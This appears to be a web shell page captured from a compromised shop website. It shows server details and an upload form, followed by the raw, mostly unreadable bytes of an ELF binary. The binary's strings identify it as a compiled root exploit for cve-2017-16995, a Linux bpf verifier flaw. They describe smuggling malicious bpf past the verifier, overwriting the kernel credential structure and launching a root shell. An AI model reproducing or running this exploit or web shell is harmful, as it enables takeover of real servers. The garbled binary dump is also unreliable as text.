|
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17 System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64 User : nobody ( 99) PHP Version : 5.2.17 Disable Function : NONE Directory : /home/queenjbs/www/files/muti/shop/data/ |
Upload File : |
ELF > @ L @ 8
@ @ @ @ 0 0 0 P= PM PM p `= `M `M 8 8 8 0 0 h h h D D Std 8 8 8 0 0 Ptd 3 3 3 Qtd Rtd P= PM PM /lib64/ld-linux-x86-64.so.2 GNU GNU 1&G
# ` V GNU ( em9 i ( B J 6 b A z Y " / P " R @P __cxa_finalize __libc_start_main execl getuid stdout socketpair vfprintf syscall stderr strerror perror __errno_location exit fwrite __stack_chk_fail setsockopt libc.so.6 GLIBC_2.4 GLIBC_2.2.5 GLIBC_2.34 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable ii
ui PM XM P P O O O
O O P @P hO pO xO O O O O O O O
O O O O HH? HtH 52? %3? h h h h h h h h q h a h Q h
A h 1 h ! h
%> D %=> D %5> D %-> D %%> D % > D %> D %
> D %> D %= D %= D %= D %= D %= D %= D 1I^HHPTE11H= = f. H== H= H9tH= Ht H== H5= H)HH?HHHtHe= Htf D == u+UH=B= Ht H=F= Idu= ] w UHH}HE] UHH lH`hHXDTdH%( HE1Hp HHlphHHtH`HkHxHXHUHEE E H= H4HETE< Hp H¾ A HUdH+%( tP UHH lhd`D\dH%( HE1Hp HHlphtdx`|Hp H¾ A HUdH+%( t UHH lH`HXHPdH%( HE1Hp HHlpH`HHxHXHHEHPHEHp H¾ A HUdH+%( t UHH lH`HXdH%( HE1Hp HHlpH`HHxHXHHEHp H¾ A WHUdH+%( t UHH dH%( HE1ƅfDž DžƅUfDž DžƅfDž Dž ƅfDž Dž ƅ{
fDžDž ƅ fDž 8 ƅ fDž 8 HH ƅȐfDž Dž ƅȠfDž Dž ƅfDž Džƅb
fDžDž ƅfDž Dž ƅUfDž Dž ƅfDž Dž ƅyfDž Dž ƅȐfDž Dž ƅ ȠfDž Dž ƅ fDž
Dž ƅb
fDžDž ƅfDž Dž ƅ U!!!!fDž" Dž$ ƅ())))fDž* Dž, ƅ0y1111fDž2 Dž4 ƅ8999Ȑ9fDž: Dž< ƅ@AAAȠAfDžB DžD ƅHIIIIfDžJ DžLƅPbQ
QQQfDžRDžT ƅXYYYYfDžZ Dž\ ƅ`UaaaafDžb Džd ƅhiiiifDžj Džl ƅpyqqqqfDžr Džt ƅxyyyyfDžz Dž| EEEEEfE E EUEEEEfE E E{EEEȠEfE E EEEEEfE E EUEEEEfE E EyEEEȠEfEE E{EEE0EfE E EEEEEfE E EUEEEEfE E EyEɃEEɃpEfE E E{EуEEу0EfE E EؕEكEEكEfE E E{EEEȀEfE E EEEEEfE E HA H HѺp Hƿ HUdH+%( t UHH H(HXH`HhLpLxt )E)M)U)])e)m)u)}dH%( HH1Dž0 Dž40 HEH8HPH@H/ H H HH. H0H(HHdHHdH+%( t UHH H(HXH`HhLpLxt )E)M)U)])e)m)u)}dH%( HH1Dž0 Dž40 HEH8HPH@H. H H
HH- H0H(HHkHHdH+%( t UHH H(HXH`HhLpLxt )E)M)U)])e)m)u)}dH%( HH1Dž0 Dž40 HEH8HPH@- t%H- H H HCH, H H HH, H0H(HHCHHdH+%( t UHH H(HXH`HhLpLxt )E)M)U)])e)m)u)}dH%( HH1Dž0 Dž40 HEH8HPH@H+ H H HH+ H0H(HHK Q UHH HǸ H HǸ H HǸ H HǸ Hj HǸ H HǸ pA + + y% HH HǸ CH HǸ E+ ?+ yO
u H<+ HH HǸ 7HH HǸ H HǸ H* H t%% HHr HǸ kH HǸ 0o* A Hj* HѺ2 y% xHHX HǸ ] UHH * @ H
) HΉHEH} yH H)H}@t"Hl) HUH
HHǸ UHH}Hu) HUHu t% HH
HǸ ? UHH }dH%( HE1:) HUHMHΉt% NHHt
HǸ HEHUdH+%( t UHH H}HuHUHEHƿ HEHƿ HEHƿ j ( UH ] UH e] UHHH}HE Hƿ = UHHH}HuHUHEHƿ UHH0Eܸ RHEHEHHzHEHEHH5 HǸ aHEHH- HǸ FHH9EwH) HǸ BE HEHHH9 HEHHHEHH9Ev{HEHHHEEH9Eu^EH HǸ HEHH HǸ |UHEHH HǸ ^HE+EHE}c+H HǸ M UHH H}HEHH HǸ HEHHEHUHEHHHEHE HHEHE HHEHE HHEHE HHEHEHHHEHEHHtHEHEHH\HE UHH}Hu YHH HǸ H HH HǸ Vt%} 4HH HǸ HH GPL [.] [*] [!] ( ( R E D A C T E D ) )
[!]
t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
creating bpf map
failed to create bpf map: '%s'
sneaking evil bpf past the verifier
log:
%s failed to load prog '%s'
creating socketpair()
failed to create socket pair '%s'
attaching bpf backdoor to socket
setsockopt '%s'
write short write: %zd
bpf_update_elem failed '%s'
bpf_lookup_elem failed '%s'
skbuff => %llx
Leaking sock struct from %llx
Failed to find Sock address from sk_buff.
Sock->sk_rcvtimeo at offset %d
Cred structure at %llx
UID from cred structure: %d, matches the current: %d
failed to find sk_rcvtimeo.
hammering cred structure at %llx
credentials patched, launching shell...
/bin/sh exec %s
; 4 L | ed w ~ ; $ D d m ? @ ` 0 zR x & D $ 4 FJ w ?:*3$" \ P t H EC
I EC
EC
o EC
EC
, .
EC
%
L EC
l EC
o' EC
v EC
C EC
6o EC
f Y EC
P ( y EC
p H a EC
X h X EC
U V EC
U T( EC
_ \, EC
c h EC
~ EC
( EC
+ PM XM o
PO P ` p o o 0 o o o `M 0 @ P ` p P GCC: (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0 0 ` 3 I HP U XM | PM ? .
& o & Y J' y ' a ( ;* 7 `M 3 ( PO > [ x P 3 P : # P + P P P o$ `P @ % P 1 P
> R a p P } 0 $( P 7 & `( ( P 4+ t _" ' ! B( ( 9 L P X r P { ( , " m f! @P Scrt1.o __abi_tag crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.0 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry cve-2017-16995.c ptr_to_u64 load_prog writemsg get_value sendcmd find_cred hammer_cred __FRAME_END__ _DYNAMIC __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_start_main@GLIBC_2.34 __errno_location@GLIBC_2.2.5 _ITM_deregisterTMCloneTable stdout@GLIBC_2.2.5 setsockopt@GLIBC_2.2.5 fail _edata _fini __stack_chk_fail@GLIBC_2.4 getuid@GLIBC_2.2.5 sockets mapfd progfd initialize buffer bpf_log_buf __data_start syscall@GLIBC_2.2.5 bpf_create_map __gmon_start__ __dso_handle socketpair@GLIBC_2.2.5 _IO_stdin_used bpf_update_elem bpf_prog_load get_skbuff _end read64 bpf_lookup_elem __bss_start main perror@GLIBC_2.2.5 vfprintf@GLIBC_2.2.5 get_fp exit@GLIBC_2.2.5 fwrite@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable doredact strerror@GLIBC_2.2.5 execl@GLIBC_2.2.5 write64 __cxa_finalize@GLIBC_2.2.5 _init info stderr@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .comment # 8 8 0 6 h h $ I W o 0 a i q o , ~ o 0 0 @ p p B ` ` P + +
0 0 3 3 `4 `4 H PM P= XM X= `M `= PO P? P @ P @ 0 @ - @@ P G sK